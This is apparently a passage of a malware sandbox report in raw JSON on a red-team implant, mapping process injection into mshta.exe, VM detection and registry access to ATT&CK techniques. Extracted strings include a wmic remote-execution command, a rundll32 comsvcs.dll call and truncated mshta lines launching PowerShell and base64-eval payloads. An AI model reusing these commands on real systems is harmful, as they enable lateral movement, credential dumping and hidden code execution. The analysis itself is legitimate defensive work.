-Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 %WINDIR%\\System32\\comsvcs.dll"},{"type":"linebreak"},{"type":"text","value":"$43"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-25","type":9,"relevance":3,"name":"Spawns new processes","description":"$44","description_v2":["Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00007932)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00004164)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00008072)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00009000)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00005204)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00002396)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00000688)","Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ...\" (UID: 00000000-00002204)"],"description_v3":[{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00004164","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00008072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00009000","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00005204","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00002396","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00000688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ...\""},{"type":"process","process_uid":"00000000-00002204","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-103","type":9,"relevance":3,"name":"Spawns new processes that are not known child processes","description":"$45","description_v2":["Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00007932)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00004164)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00008072)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00009000)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00005204)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00002396)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\" (UID: 00000000-00000688)","Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ...\" (UID: 00000000-00002204)"],"description_v3":[{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00004164","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00008072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00009000","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00005204","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00002396","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -N ...\""},{"type":"process","process_uid":"00000000-00000688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaG ...\""},{"type":"process","process_uid":"00000000-00002204","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"binary-26","type":8,"relevance":5,"name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 479497)","description_v2":["Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 479497)"],"description_v3":[{"type":"text","value":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 479497)"}],"origin":"Binary File","attck_id":"T1497","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-315","type":6,"relevance":1,"name":"Attempts remote code execution into another process memory space","description":"$46","description_v2":["\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"612\"","\"BaseAddress\": \"00000181FCE70000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"612\"","\"BaseAddress\": \"0000004617F512D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"608\"","\"BaseAddress\": \"0000015301A20000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"608\"","\"BaseAddress\": \"00000001003B42D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"592\"","\"BaseAddress\": \"0000017F2C870000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"592\"","\"BaseAddress\": \"0000004C114742D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"596\"","\"BaseAddress\": \"0000026213C30000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"596\"","\"BaseAddress\": \"00000063612152D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"660\"","\"BaseAddress\": \"000002DA465A0000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"660\"","\"BaseAddress\": \"000000E9DBC552D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"616\"","\"BaseAddress\": \"0000020F97900000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"616\"","\"BaseAddress\": \"000000A5172502D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"648\"","\"BaseAddress\": \"00000125A7DE0000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"648\"","\"BaseAddress\": \"0000000E949C62D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"644\"","\"BaseAddress\": \"0000011E4C8A0000\"","\"Buffer\": \"000001B89959E850\"","\"NumberOfBytesToWrite\": \"000011C0\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}","\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"644\"","\"BaseAddress\": \"0000000260D822D8\"","\"Buffer\": \"0000000A7D5FDF60\"","\"NumberOfBytesToWrite\": \"00000008\"","\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"612\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"00000181FCE70000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"612\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000004617F512D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"608\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000015301A20000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"608\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"00000001003B42D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"592\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000017F2C870000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"592\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000004C114742D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"596\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000026213C30000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"596\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"00000063612152D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"660\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"000002DA465A0000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"660\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"000000E9DBC552D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"616\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000020F97900000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"616\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"000000A5172502D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"648\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"00000125A7DE0000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"648\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000000E949C62D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"644\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000011E4C8A0000\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"000001B89959E850\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"000011C0\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtWriteVirtualMemory\" with parameters {\"ProcessHandle\": \"644\""},{"type":"linebreak"},{"type":"text","value":"\"BaseAddress\": \"0000000260D822D8\""},{"type":"linebreak"},{"type":"text","value":"\"Buffer\": \"0000000A7D5FDF60\""},{"type":"linebreak"},{"type":"text","value":"\"NumberOfBytesToWrite\": \"00000008\""},{"type":"linebreak"},{"type":"text","value":"\"$name\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\"}"}],"origin":"API Call","attck_id":"T1055.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"string-310","type":2,"relevance":1,"name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-264","type":6,"relevance":3,"name":"Creates a thread in a self process","description":"\"RedTeamImplant.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","description_v2":["\"RedTeamImplant.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)"}],"origin":"API Call","attck_id":"T1055.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"registry-177","type":3,"relevance":1,"name":"Opens registry keys","description":"$47","description_v2":["\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\\SEGMENT HEAP\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\STATESEPARATION\\REDIRECTIONMAP\\KEYS\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SAFEBOOT\\OPTION\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SRP\\GP\\DLL\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\FILESYSTEM\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\OSDATA\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\\MANIFESTEDMERGESTUBSDBS\"; Key: \"\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\\SEGMENT HEAP\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\STATESEPARATION\\REDIRECTIONMAP\\KEYS\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SAFEBOOT\\OPTION\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SRP\\GP\\DLL\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: 